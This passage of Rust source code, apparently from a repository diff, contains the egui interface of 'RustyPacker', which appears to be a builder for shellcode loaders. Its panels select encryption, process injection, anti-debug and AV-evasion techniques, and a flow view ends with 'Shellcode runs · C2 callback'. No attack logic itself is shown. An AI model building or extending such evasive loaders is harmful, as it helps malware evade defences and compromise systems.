.margin(egui::vec2(space::SM, space::XS + 1.0)),
);
});
}
}
}
if let Some(target) = &state.sideload.target_dll {
ui.add_space(6.0);
draw_exports_preview(ui, target);
}
});
}
fn draw_exports_preview(ui: &mut egui::Ui, target_dll: &PathBuf) {
match crate::pe_parser::parse_exports(target_dll) {
Ok(exports) => {
let total = exports.len();
let named = exports.iter().filter(|e| e.name.is_some()).count();
meta_line(
ui,
&format!("{total} exports parsed ({named} named) from {}", target_dll.display()),
);
}
Err(e) => {
meta_line(ui, &format!("could not parse exports: {e}"));
}
}
}
// ---------------------------------------------------------------- encryption
fn draw_encryption(ui: &mut egui::Ui, state: &mut AppState) {
use crate::techniques::{self, Category};
let techniques: Vec<_> = techniques::by_category(Category::Encryption).collect();
section_header(
ui,
"Encryption",
Some(&format!("{} techniques", techniques.len())),
);
card(ui, |ui| {
field_row(ui, "Method", |ui| {
let selected_label = techniques
.iter()
.find(|t| t.meta().id == state.encryption_id)
.map(|t| t.meta().display_name)
.unwrap_or("(none)");
let avail = ui.available_width();
egui::ComboBox::from_id_source("encryption_combo")
.selected_text(
RichText::new(selected_label)
.font(FontId::new(12.0, FontFamily::Proportional))
.color(palette::text()),
)
.width(avail - 4.0)
.show_ui(ui, |ui| {
for t in &techniques {
ui.selectable_value(
&mut state.encryption_id,
t.meta().id.to_string(),
t.meta().display_name,
);
}
});
});
if let Some(t) = techniques.iter().find(|t| t.meta().id == state.encryption_id) {
ui.add_space(6.0);
description(ui, t.meta().description);
draw_params_for(ui, state, t.meta());
}
});
}
// ---------------------------------------------------------------- injection
#[derive(Clone, Copy, PartialEq, Eq)]
enum InjectionMode { SelfInject, Remote }
fn mode_of(tags: &[&'static str]) -> InjectionMode {
if tags.iter().any(|t| *t == "self_injection") {
InjectionMode::SelfInject
} else {
InjectionMode::Remote
}
}
fn draw_injection(ui: &mut egui::Ui, state: &mut AppState) {
use crate::techniques::{self, Category};
let all: Vec<_> = techniques::by_category(Category::Injection).collect();
let current_mode = techniques::find(&state.injection_id)
.map(|t| mode_of(t.meta().tags))
.unwrap_or(InjectionMode::Remote);
let mut next_mode = current_mode;
let filtered: Vec<_> = all
.iter()
.filter(|t| mode_of(t.meta().tags) == current_mode)
.copied()
.collect();
section_header(
ui,
"Injection",
Some(&format!("{} techniques", filtered.len())),
);
card(ui, |ui| {
field_row(ui, "Mode", |ui| {
segmented(
ui,
&mut next_mode,
&[
(InjectionMode::SelfInject, "SELF"),
(InjectionMode::Remote, "REMOTE"),
],
);
});
if next_mode != current_mode {
if let Some(first) = all.iter().find(|t| mode_of(t.meta().tags) == next_mode) {
state.injection_id = first.meta().id.to_string();
}
}
ui.add_space(6.0);
field_row(ui, "Template", |ui| {
let selected_label = filtered
.iter()
.find(|t| t.meta().id == state.injection_id)
.map(|t| t.meta().display_name)
.unwrap_or("(none)");
let avail = ui.available_width();
egui::ComboBox::from_id_source("injection_combo")
.selected_text(
RichText::new(selected_label)
.font(FontId::new(12.0, FontFamily::Proportional))
.color(palette::text()),
)
.width(avail - 4.0)
.show_ui(ui, |ui| {
for t in &filtered {
ui.selectable_value(
&mut state.injection_id,
t.meta().id.to_string(),
t.meta().display_name,
);
}
});
});
if let Some(t) = filtered.iter().find(|t| t.meta().id == state.injection_id) {
// Tag pills, indented under the label column
let extra_tags: Vec<&&str> = t
.meta()
.tags
.iter()
.filter(|tag| **tag != "self_injection" && **tag != "remote_injection")
.collect();
if !extra_tags.is_empty() {
ui.add_space(6.0);
ui.horizontal(|ui| {
ui.add_space(82.0); // align with field content column
for tag in extra_tags {
pill(ui, tag, pill_kind_for_tag(tag));
ui.add_space(4.0);
}
});
}
ui.add_space(6.0);
ui.horizontal(|ui| {
ui.add_space(82.0);
description(ui, t.meta().description);
});
draw_params_for(ui, state, t.meta());
}
});
}
fn pill_kind_for_tag(tag: &str) -> PillKind {
match tag {
"remote_injection" => PillKind::Accent,
"self_injection" => PillKind::Accent,
"syscall" => PillKind::Warn,
_ => PillKind::Muted,
}
}
// ---------------------------------------------------------------- anti-debug
fn draw_anti_debug(ui: &mut egui::Ui, state: &mut AppState) {
use crate::techniques::{self, Category};
let all: Vec<_> = techniques::by_category(Category::Evasion)
.filter(|t| t.meta().tags.iter().any(|tag| *tag == "anti_debug"))
.collect();
let active = state.enabled_anti_debug.len();
section_header(
ui,
"Anti-Debug",
Some(&format!("{} active", active)),
);
card(ui, |ui| {
row_builder(
ui,
&mut state.enabled_anti_debug,
&mut state.params,
&all,
"ADD CHECK",
"anti_debug_add_popup",
"No anti-debug checks configured.",
);
});
}
// ---------------------------------------------------------------- evasion
fn draw_evasion(ui: &mut egui::Ui, state: &mut AppState) {
use crate::techniques::{self, Category};
let all: Vec<_> = techniques::by_category(Category::Evasion)
.filter(|t| !t.meta().tags.iter().any(|tag| *tag == "anti_debug"))
.collect();
let active = state.enabled_evasions.len();
section_header(
ui,
"Evasion",
Some(&format!("{} active", active)),
);
card(ui, |ui| {
row_builder(
ui,
&mut state.enabled_evasions,
&mut state.params,
&all,
"ADD EVASION",
"evasion_add_popup",
"No evasion techniques configured.",
);
});
}
// ---------------------------------------------------------------- row-builder helper
fn row_builder(
ui: &mut egui::Ui,
selected: &mut Vec<String>,
params: &mut std::collections::HashMap<String, String>,
available: &[&'static dyn crate::techniques::Technique],
add_label: &str,
popup_id: &str,
empty_hint: &str,
) {
let mut remove_idx: Option<usize> = None;
if selected.is_empty() {
description(ui, empty_hint);
} else {
for (idx, id) in selected.iter().enumerate() {
if idx > 0 {
ui.add_space(8.0);
let r = ui.max_rect();
ui.painter().hline(
r.x_range(),
ui.cursor().top(),
egui::Stroke::new(1.0, palette::border()),
);
ui.add_space(8.0);
}
let Some(t) = available.iter().find(|t| t.meta().id == *id) else { continue; };
ui.horizontal(|ui| {
ui.label(
RichText::new(t.meta().display_name)
.font(crate::gui::theme::font_sans(12.5))
.color(palette::text())
.strong(),
);
ui.with_layout(egui::Layout::right_to_left(egui::Align::Center), |ui| {
if ghost_button(ui, "× Remove").clicked() {
remove_idx = Some(idx);
}
});
});
ui.add_space(2.0);
description(ui, t.meta().description);
if !t.meta().params.is_empty() {
ui.add_space(2.0);
draw_params_into(ui, params, t.meta());
}
}
}
if let Some(i) = remove_idx {
selected.remove(i);
}
// + Add button + popup
ui.add_space(8.0);
let any_available = available.iter().any(|t| !selected.iter().any(|s| s == t.meta().id));
ui.horizontal(|ui| {
ui.with_layout(egui::Layout::right_to_left(egui::Align::Center), |ui| {
let label = format!("+ {}", add_label);
let resp = if any_available {
ghost_button(ui, &label)
} else {
// Greyed-out, non-interactive when nothing left to add
let font = crate::gui::theme::font_sans(11.0);
let galley = ui.painter().layout_no_wrap(label.clone(), font.clone(), palette::text_muted());
let pad = egui::vec2(space::SM + 2.0, space::XS + 1.0);
let size = galley.size() + egui::vec2(pad.x * 2.0, pad.y * 2.0);
let (rect, resp) = ui.allocate_exact_size(size, egui::Sense::hover());
ui.painter().rect(
rect,
crate::gui::theme::radius::INPUT,
egui::Color32::TRANSPARENT,
egui::Stroke::new(1.0, palette::border()),
);
ui.painter().text(
rect.center(),
egui::Align2::CENTER_CENTER,
label,
font,
palette::text_muted(),
);
resp
};
let pid = ui.make_persistent_id(popup_id);
if any_available && resp.clicked() {
ui.memory_mut(|m| m.toggle_popup(pid));
}
egui::popup::popup_below_widget(ui, pid, &resp, |ui| {
ui.set_min_width(280.0);
egui::Frame::none()
.fill(palette::bg_panel())
.stroke(egui::Stroke::new(1.0, palette::border_strong()))
.rounding(crate::gui::theme::radius::CARD)
.inner_margin(egui::Margin::same(4.0))
.show(ui, |ui| {
for t in available {
if selected.iter().any(|s| s == t.meta().id) { continue; }
let item = ui.add(egui::SelectableLabel::new(
false,
RichText::new(format!(" {}", t.meta().display_name))
.font(crate::gui::theme::font_sans(12.0))
.color(palette::text()),
));
if item.clicked() {
selected.push(t.meta().id.to_string());
ui.memory_mut(|m| m.close_popup());
}
}
});
});
});
});
}
// ---------------------------------------------------------------- shared params
fn draw_params_for(
ui: &mut egui::Ui,
state: &mut AppState,
meta: &crate::techniques::TechniqueMeta,
) {
draw_params_into(ui, &mut state.params, meta);
}
fn draw_params_into(
ui: &mut egui::Ui,
params: &mut std::collections::HashMap<String, String>,
meta: &crate::techniques::TechniqueMeta,
) {
use crate::techniques::ParamSpec;
for spec in meta.params {
ui.add_space(6.0);
match spec {
ParamSpec::Text {
name,
label,
default,
} => {
let key = format!("{}.{}", meta.id, name);
let value = params
.entry(key.clone())
.or_insert_with(|| default.to_string());
field_row(ui, label, |ui| {
let avail = ui.available_width();
ui.add(
egui::TextEdit::singleline(value)
.desired_width(avail.min(320.0))
.font(FontId::new(12.0, FontFamily::Monospace))
.text_color(palette::text())
.margin(egui::vec2(space::SM, space::XS + 1.0)),
);
});
}
ParamSpec::Bool {
name,
label,
default,
} => {
let key = format!("{}.{}", meta.id, name);
let mut on = params
.get(&key)
.map(|v| v == "true")
.unwrap_or(*default);
if ui.checkbox(&mut on, *label).changed() {
params.insert(key, on.to_string());
}
}
ParamSpec::Choice {
name,
label,
options,
} => {
let key = format!("{}.{}", meta.id, name);
let mut current = params
.get(&key)
.cloned()
.unwrap_or_else(|| {
options.first().map(|s| s.to_string()).unwrap_or_default()
});
field_row(ui, label, |ui| {
egui::ComboBox::from_id_source(&key)
.selected_text(&current)
.show_ui(ui, |ui| {
for opt in options.iter() {
ui.selectable_value(&mut current, opt.to_string(), *opt);
}
});
});
params.insert(key, current);
}
}
}
}
+74
View File
@@ -0,0 +1,74 @@
use crate::gui::state::AppState;
use crate::gui::theme::{self, palette, space};
use crate::gui::widgets::{ghost_button, phase_progress, terminal_view, TerminalOpts};
use eframe::egui::{self, RichText};
use std::sync::{Arc, Mutex};
pub fn draw(ui: &mut egui::Ui, _state: &mut AppState, log: &Arc<Mutex<String>>) {
let text = log.lock().unwrap().clone();
let (phase, total, phase_label) = detect_phase(&text);
ui.label(
RichText::new("Build output")
.font(theme::font_sans(16.0))
.color(palette::text())
.strong(),
);
ui.add_space(2.0);
ui.label(
RichText::new("Live build log from the puzzle assembler + cargo compile pipeline.")
.font(theme::font_sans(11.0))
.color(palette::text_dim()),
);
ui.add_space(space::MD);
if phase > 0 || total > 0 {
phase_progress(ui, phase, total, phase_label);
ui.add_space(space::SM);
}
terminal_view(ui, &text, TerminalOpts::default());
ui.add_space(space::SM);
ui.horizontal(|ui| {
if ghost_button(ui, "Copy log").clicked() {
ui.output_mut(|o| o.copied_text = text.clone());
}
ui.add_space(4.0);
if ghost_button(ui, "Clear").clicked() {
log.lock().unwrap().clear();
}
ui.with_layout(
egui::Layout::right_to_left(egui::Align::Center),
|ui| {
let lines = text.lines().count();
ui.label(
RichText::new(format!("{lines} lines · auto-scroll on"))
.font(theme::font_mono(10.5))
.color(palette::text_muted()),
);
},
);
});
}
fn detect_phase(log: &str) -> (u32, u32, &'static str) {
let markers: &[(&str, &str)] = &[
("Starting build", "preparing template"),
("Compiled output folder", "compiling loader"),
("Build complete", "done"),
];
let total = markers.len() as u32;
let mut current = 0u32;
let mut label: &'static str = "";
for (needle, lbl) in markers {
if log.contains(needle) {
current += 1;
label = lbl;
}
}
if log.contains("Build panicked") {
return (current.max(1), total, "build panicked");
}
(current, total, label)
}
+131
View File
@@ -0,0 +1,131 @@
use crate::gui::state::AppState;
use crate::gui::theme::{self, palette, space};
use crate::gui::widgets::{step_card, StepAccent, StepView};
use crate::techniques;
use eframe::egui::{self, RichText};
struct Step {
title: String,
pill: String,
accent: StepAccent,
}
pub fn draw(ui: &mut egui::Ui, state: &mut AppState) {
egui::ScrollArea::vertical()
.auto_shrink([false, false])
.show(ui, |ui| {
ui.set_min_width(ui.available_width());
ui.label(
RichText::new("Runtime execution path")
.font(theme::font_sans(16.0))
.color(palette::text())
.strong(),
);
ui.add_space(space::MD);
for (idx, step) in compute_steps(state).iter().enumerate() {
step_card(
ui,
&StepView {
idx: idx as u32 + 1,
title: &step.title,
pill_text: &step.pill,
accent: step.accent,
},
);
ui.add_space(space::XS + 2.0);
}
ui.add_space(space::MD);
});
}
fn compute_steps(state: &AppState) -> Vec<Step> {
let mut steps = Vec::new();
steps.push(Step {
title: "Loader starts".into(),
pill: "ENTRY".into(),
accent: StepAccent::Normal,
});
// Anti-debug checks run first — bail out before any heavier evasion.
for id in &state.enabled_anti_debug {
if let Some(t) = techniques::find(id) {
steps.push(Step {
title: t.meta().display_name.into(),
pill: "ANTI-DEBUG".into(),
accent: StepAccent::Danger,
});
}
}
for ev_id in &state.enabled_evasions {
if let Some(t) = techniques::find(ev_id) {
steps.push(Step {
title: t.meta().display_name.into(),
pill: "EVASION".into(),
accent: StepAccent::Warn,
});
}
}
if let Some(enc) = techniques::find(&state.encryption_id) {
steps.push(Step {
title: format!("Decrypt via {}", enc.meta().id.to_uppercase()),
pill: enc.meta().id.to_uppercase(),
accent: StepAccent::Normal,
});
}
if let Some(inj) = techniques::find(&state.injection_id) {
let is_remote = inj.meta().tags.iter().any(|t| *t == "remote_injection");
if is_remote {
let target = state
.params
.get(&format!("{}.target_process", inj.meta().id))
.cloned()
.unwrap_or_else(|| "dllhost.exe".into());
steps.push(Step {
title: "Open target process".into(),
pill: target,
accent: StepAccent::Normal,
});
}
steps.push(Step {
title: "Allocate RW · Write · Reprotect RX".into(),
pill: "RW → RX".into(),
accent: StepAccent::Danger,
});
steps.push(Step {
title: format!("Inject via {}", inj.meta().display_name),
pill: pill_for_injection(inj.meta().id),
accent: StepAccent::Normal,
});
}
steps.push(Step {
title: "Shellcode runs · C2 callback".into(),
pill: "DETONATE".into(),
accent: StepAccent::Danger,
});
steps
}
/// Long technique ids (e.g. "enum_calendar_info") look ugly when shouted.
/// Map them to a tighter pill label; fall back to the upper-case id.
fn pill_for_injection(id: &str) -> String {
match id {
"enum_calendar_info" => "CALENDAR".into(),
"enum_desktops" => "DESKTOPS".into(),
"enum_window_stations" => "WINSTA".into(),
"enum_system_geo_id" => "GEOID".into(),
"cdef_folder_menu" => "CDEFMENU".into(),
"rtl_user_fiber_start" => "RTLFIBER".into(),
other => other.to_uppercase(),
}
}
+372
View File
@@ -0,0 +1,372 @@
//! Multi-theme design system for the RustyPacker GUI.
//!
//! Two themes ship today (Tactical, Cyberpunk). Each theme is a single
//! [`Palette`] value; widgets read the current palette via the `palette::*`
//! accessor functions. Switching themes is a single `set_theme()` call that
//! updates the atomic discriminant and re-installs fonts/Visuals.
//!
//! Tactical = the default; Cyberpunk forces all proportional text through
//! JetBrains Mono and enables a scanline overlay (painted by mod.rs).
use eframe::egui::{
self, Color32, FontData, FontDefinitions, FontFamily, FontId, Margin, Stroke, Style,
TextStyle, Vec2, Visuals,
};
use serde::{Deserialize, Serialize};
use std::sync::atomic::{AtomicU8, Ordering};
// ---------------------------------------------------------------- Theme
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
pub enum Theme {
Tactical,
Cyberpunk,
}
impl Default for Theme {
fn default() -> Self { Self::Cyberpunk }
}
impl Theme {
pub const ALL: &'static [Theme] = &[Theme::Tactical, Theme::Cyberpunk];
pub fn label(self) -> &'static str {
match self {
Theme::Tactical => "Tactical",
Theme::Cyberpunk => "Cyberpunk",
}
}
pub fn palette(self) -> &'static Palette {
match self {
Theme::Tactical => &TACTICAL_PAL,
Theme::Cyberpunk => &CYBERPUNK_PAL,
}
}
/// True if every text style (including Proportional) should render mono.
pub fn mono_only(self) -> bool {
matches!(self, Theme::Cyberpunk)
}
/// True if the central panel should overlay a subtle CRT scanline pattern.
pub fn scanlines(self) -> bool {
matches!(self, Theme::Cyberpunk)
}
}
// ---------------------------------------------------------------- Palette
pub struct Palette {
pub bg_base: Color32,
pub bg_chrome: Color32,
pub bg_panel: Color32,
pub bg_panel_hi: Color32,
pub bg_input: Color32,
pub border: Color32,
pub border_strong: Color32,
pub text: Color32,
pub text_dim: Color32,
pub text_label: Color32,
pub text_muted: Color32,
pub accent: Color32,
pub accent_hi: Color32,
pub accent_dim: Color32,
pub ok: Color32,
pub warn: Color32,
pub danger: Color32,
pub danger_hi: Color32,
/// Pre-mixed soft tints for filled badges / banners.
pub accent_tint: Color32,
pub danger_tint: Color32,
}
pub const TACTICAL_PAL: Palette = Palette {
bg_base: Color32::from_rgb(0x16, 0x14, 0x0f),
bg_chrome: Color32::from_rgb(0x10, 0x0e, 0x0a),
bg_panel: Color32::from_rgb(0x1a, 0x18, 0x12),
bg_panel_hi: Color32::from_rgb(0x21, 0x1d, 0x16),
bg_input: Color32::from_rgb(0x0e, 0x0c, 0x08),
border: Color32::from_rgb(0x2e, 0x28, 0x20),
border_strong: Color32::from_rgb(0x3a, 0x34, 0x2a),
text: Color32::from_rgb(0xd6, 0xcf, 0xb8),
text_dim: Color32::from_rgb(0x8a, 0x82, 0x70),
text_label: Color32::from_rgb(0x9e, 0x95, 0x80),
text_muted: Color32::from_rgb(0x6e, 0x67, 0x55),
accent: Color32::from_rgb(0xd9, 0x97, 0x44),
accent_hi: Color32::from_rgb(0xe8, 0xa8, 0x55),
accent_dim: Color32::from_rgb(0xb3, 0x90, 0x39),
ok: Color32::from_rgb(0x7f, 0xb0, 0x69),
warn: Color32::from_rgb(0xd9, 0xb5, 0x66),
danger: Color32::from_rgb(0xcc, 0x44, 0x44),
danger_hi: Color32::from_rgb(0xe0, 0x70, 0x70),
accent_tint: Color32::from_rgba_premultiplied(0x36, 0x26, 0x10, 0x40),
danger_tint: Color32::from_rgba_premultiplied(0x33, 0x11, 0x11, 0x40),
};
pub const CYBERPUNK_PAL: Palette = Palette {
bg_base: Color32::from_rgb(0x07, 0x0a, 0x0d),
bg_chrome: Color32::from_rgb(0x05, 0x07, 0x09),
bg_panel: Color32::from_rgb(0x0a, 0x12, 0x16),
bg_panel_hi: Color32::from_rgb(0x0e, 0x1a, 0x20),
bg_input: Color32::from_rgb(0x04, 0x07, 0x09),
border: Color32::from_rgb(0x0e, 0x3a, 0x2e),
border_strong: Color32::from_rgb(0x14, 0x66, 0x52),
text: Color32::from_rgb(0xcd, 0xff, 0xf0),
text_dim: Color32::from_rgb(0x5a, 0x9c, 0x8a),
text_label: Color32::from_rgb(0x7f, 0xbf, 0xa9),
text_muted: Color32::from_rgb(0x3a, 0x6b, 0x5d),
accent: Color32::from_rgb(0x14, 0xff, 0xba),
accent_hi: Color32::from_rgb(0x7f, 0xff, 0xe0),
accent_dim: Color32::from_rgb(0x0f, 0xcc, 0x9a),
ok: Color32::from_rgb(0x14, 0xff, 0xba),
warn: Color32::from_rgb(0xff, 0xdb, 0x40),
danger: Color32::from_rgb(0xff, 0x40, 0x60),
danger_hi: Color32::from_rgb(0xff, 0x70, 0x80),
accent_tint: Color32::from_rgba_premultiplied(0x06, 0x3c, 0x2c, 0x60),
danger_tint: Color32::from_rgba_premultiplied(0x3c, 0x0c, 0x14, 0x60),
};
// ---------------------------------------------------------------- active theme
static ACTIVE: AtomicU8 = AtomicU8::new(0);
fn theme_to_u8(t: Theme) -> u8 {
match t {
Theme::Tactical => 0,
Theme::Cyberpunk => 1,
}
}
fn u8_to_theme(v: u8) -> Theme {
match v {
1 => Theme::Cyberpunk,
_ => Theme::Tactical,
}
}
pub fn current_theme() -> Theme {
u8_to_theme(ACTIVE.load(Ordering::Relaxed))
}
pub fn current_palette() -> &'static Palette {
current_theme().palette()
}
// ---------------------------------------------------------------- spacing
pub mod space {
pub const XS: f32 = 4.0;
pub const SM: f32 = 8.0;
pub const MD: f32 = 12.0;
pub const LG: f32 = 18.0;
pub const XL: f32 = 24.0;
pub const XXL: f32 = 32.0;
}
// ---------------------------------------------------------------- rounding
pub mod radius {
use eframe::egui::Rounding;
pub const PILL: Rounding = Rounding::same(2.0);
pub const INPUT: Rounding = Rounding::same(3.0);
pub const CARD: Rounding = Rounding::same(4.0);
pub const CHROME: Rounding = Rounding::same(6.0);
}
// ---------------------------------------------------------------- palette accessors
/// Widgets read colors through these functions, never through the consts
/// directly — that's what makes the theme switchable at runtime.
pub mod palette {
use eframe::egui::Color32;
use super::current_palette;
pub fn bg_base() -> Color32 { current_palette().bg_base }
pub fn bg_chrome() -> Color32 { current_palette().bg_chrome }
pub fn bg_panel() -> Color32 { current_palette().bg_panel }
pub fn bg_panel_hi() -> Color32 { current_palette().bg_panel_hi }
pub fn bg_input() -> Color32 { current_palette().bg_input }
pub fn border() -> Color32 { current_palette().border }
pub fn border_strong() -> Color32 { current_palette().border_strong }
pub fn text() -> Color32 { current_palette().text }
pub fn text_dim() -> Color32 { current_palette().text_dim }
pub fn text_label() -> Color32 { current_palette().text_label }
pub fn text_muted() -> Color32 { current_palette().text_muted }
pub fn accent() -> Color32 { current_palette().accent }
pub fn accent_hi() -> Color32 { current_palette().accent_hi }
pub fn accent_dim() -> Color32 { current_palette().accent_dim }
pub fn ok() -> Color32 { current_palette().ok }
pub fn warn() -> Color32 { current_palette().warn }
pub fn danger() -> Color32 { current_palette().danger }
pub fn danger_hi() -> Color32 { current_palette().danger_hi }
pub fn accent_tint() -> Color32 { current_palette().accent_tint }
pub fn danger_tint() -> Color32 { current_palette().danger_tint }
/// Convenience: solid accent at the given alpha (0..=255).
pub fn accent_alpha(alpha: u8) -> Color32 {
let c = accent();
// linear_multiply preserves hue while reducing intensity for overlay tints.
let r = ((c.r() as u16 * alpha as u16) / 255) as u8;
let g = ((c.g() as u16 * alpha as u16) / 255) as u8;
let b = ((c.b() as u16 * alpha as u16) / 255) as u8;
Color32::from_rgba_premultiplied(r, g, b, alpha)
}
pub fn danger_alpha(alpha: u8) -> Color32 {
let c = danger();
let r = ((c.r() as u16 * alpha as u16) / 255) as u8;
let g = ((c.g() as u16 * alpha as u16) / 255) as u8;
let b = ((c.b() as u16 * alpha as u16) / 255) as u8;
Color32::from_rgba_premultiplied(r, g, b, alpha)
}
pub fn warn_alpha(alpha: u8) -> Color32 {
let c = warn();
let r = ((c.r() as u16 * alpha as u16) / 255) as u8;
let g = ((c.g() as u16 * alpha as u16) / 255) as u8;
let b = ((c.b() as u16 * alpha as u16) / 255) as u8;
Color32::from_rgba_premultiplied(r, g, b, alpha)
}
}
// ---------------------------------------------------------------- fonts
const FONT_INTER: &[u8] = include_bytes!("../../assets/fonts/InterVariable.ttf");
const FONT_MONO: &[u8] = include_bytes!("../../assets/fonts/JetBrainsMono-Regular.ttf");
const FONT_MONO_BOLD: &[u8] = include_bytes!("../../assets/fonts/JetBrainsMono-Bold.ttf");
pub const FAMILY_MONO_BOLD: &str = "mono-bold";
// ---------------------------------------------------------------- install
/// Apply theme: persist active discriminant, install fonts + visuals.
/// Safe to call multiple times (e.g. on theme change).
pub fn install(ctx: &egui::Context, theme: Theme) {
ACTIVE.store(theme_to_u8(theme), Ordering::Relaxed);
install_fonts(ctx, theme);
install_style(ctx, theme);
}
fn install_fonts(ctx: &egui::Context, theme: Theme) {
let mut fonts = FontDefinitions::default();
fonts.font_data.insert("inter".into(), FontData::from_static(FONT_INTER));
fonts.font_data.insert("jbm".into(), FontData::from_static(FONT_MONO));
fonts.font_data.insert("jbm-bold".into(), FontData::from_static(FONT_MONO_BOLD));
// In Cyberpunk, swap Proportional family to mono so every text style
// (heading/body/button/small) renders monospace without per-widget changes.
let primary_proportional = if theme.mono_only() { "jbm" } else { "inter" };
fonts
.families
.entry(FontFamily::Proportional)
.or_default()
.insert(0, primary_proportional.into());
fonts
.families
.entry(FontFamily::Monospace)
.or_default()
.insert(0, "jbm".into());
fonts.families.insert(
FontFamily::Name(FAMILY_MONO_BOLD.into()),
vec!["jbm-bold".into()],
);
ctx.set_fonts(fonts);
}
fn install_style(ctx: &egui::Context, theme: Theme) {
let p = theme.palette();
let mut style: Style = (*ctx.style()).clone();
let mut v = Visuals::dark();
v.override_text_color = Some(p.text);
v.panel_fill = p.bg_base;
v.window_fill = p.bg_base;
v.window_stroke = Stroke::new(1.0, p.border_strong);
v.window_rounding = radius::CHROME;
v.menu_rounding = radius::CARD;
v.extreme_bg_color = p.bg_input;
v.faint_bg_color = p.bg_panel;
v.code_bg_color = p.bg_input;
v.selection.bg_fill = p.accent.linear_multiply(0.35);
v.selection.stroke = Stroke::new(1.0, p.accent);
v.hyperlink_color = p.accent_hi;
let w = &mut v.widgets;
w.noninteractive.bg_fill = p.bg_panel;
w.noninteractive.weak_bg_fill = p.bg_panel;
w.noninteractive.bg_stroke = Stroke::new(1.0, p.border);
w.noninteractive.fg_stroke = Stroke::new(1.0, p.text);
w.noninteractive.rounding = radius::CARD;
w.inactive.bg_fill = p.bg_input;
w.inactive.weak_bg_fill = p.bg_input;
w.inactive.bg_stroke = Stroke::new(1.0, p.border);
w.inactive.fg_stroke = Stroke::new(1.0, p.text_label);
w.inactive.rounding = radius::INPUT;
w.hovered.bg_fill = p.bg_panel_hi;
w.hovered.weak_bg_fill = p.bg_panel_hi;
w.hovered.bg_stroke = Stroke::new(1.0, p.accent);
w.hovered.fg_stroke = Stroke::new(1.0, p.text);
w.hovered.rounding = radius::INPUT;
w.active.bg_fill = p.accent;
w.active.weak_bg_fill = p.accent.linear_multiply(0.2);
w.active.bg_stroke = Stroke::new(1.0, p.accent);
w.active.fg_stroke = Stroke::new(1.0, p.bg_base);
w.active.rounding = radius::INPUT;
w.open.bg_fill = p.bg_input;
w.open.bg_stroke = Stroke::new(1.0, p.accent);
w.open.fg_stroke = Stroke::new(1.0, p.text);
w.open.rounding = radius::INPUT;
v.handle_shape = egui::style::HandleShape::Rect { aspect_ratio: 1.0 };
style.visuals = v;
style.spacing.item_spacing = Vec2::new(space::SM, space::XS + 1.0);
style.spacing.button_padding = Vec2::new(space::MD, space::XS + 2.0);
style.spacing.window_margin = Margin::same(0.0);
style.spacing.menu_margin = Margin::same(6.0);
style.spacing.indent = space::LG;
style.spacing.scroll.bar_width = 8.0;
style.spacing.interact_size = Vec2::new(24.0, 22.0);
let mut text = std::collections::BTreeMap::new();
text.insert(TextStyle::Heading, FontId::new(15.0, FontFamily::Proportional));
text.insert(TextStyle::Body, FontId::new(13.0, FontFamily::Proportional));
text.insert(TextStyle::Button, FontId::new(12.0, FontFamily::Proportional));
text.insert(TextStyle::Small, FontId::new(11.0, FontFamily::Proportional));
text.insert(TextStyle::Monospace, FontId::new(12.0, FontFamily::Monospace));
style.text_styles = text;
ctx.set_style(style);
}
// ---------------------------------------------------------------- font helpers
pub fn font_mono_bold(size: f32) -> FontId {
FontId::new(size, FontFamily::Name(FAMILY_MONO_BOLD.into()))
}
pub fn font_mono(size: f32) -> FontId {
FontId::new(size, FontFamily::Monospace)
}
pub fn font_sans(size: f32) -> FontId {
FontId::new(size, FontFamily::Proportional)
}
+742
View File
@@ -0,0 +1,742 @@
//! Tactical/Operator widget primitives. All custom drawing for the app
//! lives here, on top of the tokens defined in [`crate::gui::theme`].
use crate::gui::theme::{palette, radius, space, Theme};
use eframe::egui::{
self, Align, Align2, Color32, FontFamily, FontId, Frame, Id, LayerId, Layout, Margin, Order,
Rect, Response, RichText, Rounding, Sense, Stroke, TextStyle, Ui, Vec2,
};
// ---------------------------------------------------------------- status pip
#[derive(Clone, Debug)]
pub enum AppStatus {
Ready { count: usize },
Building,
Error(String),
}
fn status_color(s: &AppStatus) -> Color32 {
match s {
AppStatus::Ready { .. } => palette::ok(),
AppStatus::Building => palette::accent(),
AppStatus::Error(_) => palette::danger_hi(),
}
}
fn status_text(s: &AppStatus) -> String {
match s {
AppStatus::Ready { count } => format!("{count} techniques discovered · ready"),
AppStatus::Building => "building…".into(),
AppStatus::Error(m) => format!("error · {m}"),
}
}
// ---------------------------------------------------------------- title bar
/// Returns `true` if the user picked a different theme this frame.
pub fn title_bar(
ui: &mut Ui,
version: &str,
status: &AppStatus,
theme: &mut Theme,
) -> bool {
let mut theme_changed = false;
Frame::none()
.fill(palette::bg_chrome())
.inner_margin(Margin {
left: space::LG, right: space::LG,
top: space::SM + 2.0, bottom: space::SM + 2.0,
})
.show(ui, |ui| {
ui.horizontal(|ui| {
theme_changed = theme_picker(ui, theme);
ui.add_space(space::SM);
ui.label(
RichText::new("RUSTYPACKER")
.font(crate::gui::theme::font_mono_bold(12.0))
.color(palette::accent()),
);
ui.add_space(space::SM);
ui.label(
RichText::new(format!("v{version}"))
.font(crate::gui::theme::font_mono(11.0))
.color(palette::text_muted()),
);
ui.with_layout(Layout::right_to_left(Align::Center), |ui| {
let color = status_color(status);
let text = status_text(status);
ui.label(
RichText::new(text)
.font(crate::gui::theme::font_sans(11.0))
.color(palette::text_muted()),
);
ui.add_space(space::XS + 2.0);
draw_pip(ui, color);
});
});
});
let r = ui.max_rect();
ui.painter().hline(
r.x_range(),
r.bottom(),
Stroke::new(1.0, palette::border_strong()),
);
theme_changed
}
// ---------------------------------------------------------------- theme picker
fn theme_picker(ui: &mut Ui, theme: &mut Theme) -> bool {
let font = crate::gui::theme::font_mono(10.5);
let label = format!("{}", theme.label().to_uppercase());
let pad = Vec2::new(space::SM + 2.0, space::XS + 1.0);
let galley = ui.painter().layout_no_wrap(label.clone(), font.clone(), palette::accent());
let size = galley.size() + Vec2::new(pad.x * 2.0, pad.y * 2.0);
let (rect, resp) = ui.allocate_exact_size(size, Sense::click());
let stroke_color = if resp.hovered() { palette::accent_hi() } else { palette::accent_dim() };
let fg = if resp.hovered() { palette::accent_hi() } else { palette::accent() };
let fill = if resp.hovered() {
palette::accent_alpha(0x14)
} else {
palette::accent_alpha(0x08)
};
ui.painter().rect(rect, radius::INPUT, fill, Stroke::new(1.0, stroke_color));
ui.painter().text(rect.center(), Align2::CENTER_CENTER, label, font, fg);
let popup_id = ui.make_persistent_id("theme_picker_popup");
if resp.clicked() {
ui.memory_mut(|m| m.toggle_popup(popup_id));
}
let mut changed = false;
